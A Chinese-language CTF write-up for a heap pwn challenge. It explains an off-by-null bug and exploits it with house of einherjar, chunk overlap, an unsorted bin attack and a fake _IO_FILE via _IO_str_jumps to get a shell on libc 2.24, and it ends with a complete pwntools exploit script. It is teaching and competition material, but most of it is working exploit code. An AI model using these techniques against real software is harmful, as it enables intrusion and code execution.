1.程序逆向
简单的逆向,记一下几个地方:当chunk数大于2时,便使用 calloc 分配并且 free 后会进行填充:
关于 mallopt 见这里。
漏洞出现在 fill 功能中,存在 off by null。
show 输出遇 0 截断。
2.漏洞利用&限制条件
- off by null
- chunk size 无限制
- 可以泄漏地址 chunk 只有两个
- show 遇 ‘\x00’ 截断
- 可以无限次 edit
由于能够正常 malloc 的 chunk 有限制,所以要不断的利用前两个块来泄漏地址,off by null 这里使用 house of einherjar 可以返回一个 fake_chunk 地址,该 fake_chunk 在另一个 chunk 中,下一次申请即可形成 chunk overlap,然后通过 unsorted bin attack + libc 2.24 io_attack 完成利用。在 house of einherjar 时要构造好过 unlink 的检测。
首先泄漏 libc 地址:
# leak libc
add(0x80) #0
add(0x80) #1
dele(0)
dele(1)
add(0x80) #0
show()
然后准备 unlink 泄漏 heap_base,因为不能获取其指针数组位置,只能通过 p->fd = p; p->bk=p 来让绕过 unlink 的限制:
因为 large bin chunk 中的 fd_nextsize 中会残留堆地址,所以我们要通过这里得到堆地址,但是因为show 会 ‘\x00’ 截断,不能直接从 fd 的部分 show。因为 fd_nextsize 在当前 chunk_header + 0x20 处,所以可以在该 chunk 之前布置一个堆块 #0(第一步泄漏 libc 的堆块即是),然后将这两个 chunk 与 top chunk 合并后,先申请一个 size 大于刚刚前面 #0 0x10 的堆块,这样再申请第二个堆块到此处时,原 fd_nextsize 恰为现 fd 的位置,可以 show:
add(0x400) #1
add(0x80) #2
dele(1) #1 -> unsorted bin
add(0x500) #1 unsorted bin -> large bin
dele(1) # consolidate with top chunk
dele(2) # 1,2 -> top_chunk
dele(0) # 0 -> top_chunk
add(0x90) #0
add(0x80) #1
show()
接下来需要通过 off by null + house of einhenjar 构造包含 unsorted bin chunk 的堆块重叠:
dele(0)
dele(1)
# create fake chunk
add(0x208) #0
fake_chunk = 'a'*0x20
fake_chunk += p64(0) + p64(0x1e1)
fake_chunk += p64(heap_base + 0x50) * 2
fake_chunk = fake_chunk.ljust(0x200, '\x00')
fake_chunk += p64(0x1e0)
edit(fake_chunk)
add(0x80) #1
add(0xf0) #2
edit('2'*0xf0)
dele(1)
# 触发后向合并
pad = '1'*0x80 + p64(0x270)
add(0x88) #1
edit(pad)
dele(2) # consolidate 0 1 2
此时我们还需要一个内层被控制的 unsorted bin chunk,先来构造 0 和 1 正常的 unsorted bin,这里需要复原刚才 #1 的头部和 #2 的头部避免下一步 free 时检查不通过,为了后面不会 calloc 清空和 free 后填充,把 #1 也先 free 掉
add(0x290) #2 split from fake_chunk
pad = 'a'*0x1d0 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101) + '\n'
edit(pad)
dele(1)
dele(0)
现在 fake_chunk idx = 2,此刻我们的目的就是将 fake_chunk free 进 unsorted bin,然后通过 0x··020 的外层 chunk 控制其 bk,因为如图,fake_chunk 前后的字段被打乱,所以此时要从外层申请的 unsorted bin 中申请一个较大的堆,然后重新伪造 fake_chunk ,需要在 fake_chunk 的末尾腾出位置制造一个填充的 chunk 来绕过检查:
add(0x290) #0 split from normal chunk
pad = 'a'*0x20 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x151) + '\n'
edit(pad)
dele(0)
dele(2) # 此时 size = 0x90
add(0x290) # can control unsortedbin chunk : #2 (size =0x90)
此时已经达成通过外层 chunk 控制内存 unsorted bin chunk 的目的。因为本题 libc 版本为2.24,增加了对 vtable 的检查,这里用 _IO_str_jumps 绕过,再利用 _IO_str_finish 中:
将 vtable 指向 _IO_str_jumps,把 fp->_s._free_buffer 指向 system 函数,把 fp->_IO_buf_base 指向 /bin/sh 字符串,再伪造一下其他字段即可
fake_file = p64(0) + p64(0x60)
fake_file += p64(0) + p64(IO_list_all_addr - 0x10)
fake_file += p64(0) + p64(1)
fake_file += p64(0) + p64(binsh_addr)
fake_file = fake_file.ljust(0xd8, '\x00')
fake_file += p64(IO_str_jumps_addr - 8)
fake_file += p64(0) + p64(system_addr)
pl = 'a'*0x20
pl += fake_file
pl += '\n'
edit(pl)
最后申请一个 > 0x60 的 chunk 完成利用。
3.完整exp
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from ctypes import *
context.log_level = 'debug'
binary = './bufoverflow_a'
elf = ELF('./bufoverflow_a')
libc = elf.libc
# libc = cdll.LoadLibrary("./libc.so.6")
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
else:
host = "node2.hackingfor.fun"
port = 39964
p = remote(host,port)
if DEBUG == 2:
host = ""
port = 0
user = ""
passwd = ""
p = ssh(host,port,user,passwd)
def dbg():
gdb.attach(p)
pause()
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
rc = lambda num :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
info = lambda tag, addr :log.info(tag + " -> " + hex(addr))
ia = lambda :p.interactive()
menu = ">> "
def cmd(i):
ru(menu)
sl(str(i))
def add(size):
cmd(1)
sla("Size: ", str(size))
def dele(idx):
cmd(2)
sla("Index: ", str(idx))
def edit(content):
cmd(3)
ru("Content: ")
se(content)
def show():
cmd(4)
def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print(possible_IO_str_jumps_offset)
return possible_IO_str_jumps_offset
add(0x80) #0
add(0x80) #1
dele(0)
add(0x80) #0
show()
libc_base = l64() - libc.sym['__malloc_hook'] - 0x68
info("libc_base", libc_base)
IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
IO_str_jumps_addr = libc_base + get_IO_str_jumps()
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search("/bin/sh").next()
dele(1)
add(0x400) #1
add(0x80) #2
dele(1) #1 -> unsorted bin
add(0x500) #1 unsorted bin -> large bin
dele(1)
dele(2) # 1,2 -> top_chunk
dele(0) # 0 -> top_chunk
add(0x90) #0
add(0x80) #1
show()
heap_base = u64(p.recvuntil("\n", drop=True).ljust(8, '\x00')) - 0xb0
info("heap_base", heap_base)
dele(0)
dele(1)
# create fake chunk
add(0x208) #0
fake_chunk = 'a'*0x20
fake_chunk += p64(0) + p64(0x1e1)
fake_chunk += p64(heap_base + 0x50) * 2
fake_chunk = fake_chunk.ljust(0x200, '\x00')
fake_chunk += p64(0x1e0)
edit(fake_chunk)
add(0x80) #1
add(0xf0) #2
edit('2'*0xf0)
dele(1)
pad = '1'*0x80 + p64(0x270)
add(0x88) #1
edit(pad)
dele(2) # consolidate 0 1 2
add(0x290) #2 split from fake_chunk
pad = 'a'*0x1d0 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101) + '\n'
edit(pad)
dele(1)
dele(0)
dbg()
add(0x290) #0 split from normal chunk
pad = 'a'*0x20 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x151) + '\n'
edit(pad)
dele(0)
dele(2)
add(0x290) # can control unsortedbin #2 size =0x90
fake_file = p64(0) + p64(0x60)
fake_file += p64(0) + p64(IO_list_all_addr - 0x10)
fake_file += p64(0) + p64(1)
fake_file += p64(0) + p64(binsh_addr)
fake_file = fake_file.ljust(0xd8, '\x00')
fake_file += p64(IO_str_jumps_addr - 8)
fake_file += p64(0) + p64(system_addr)
pl = 'a'*0x20
pl += fake_file
pl += '\n'
edit(pl)
add(0x80)
# dbg()
ia()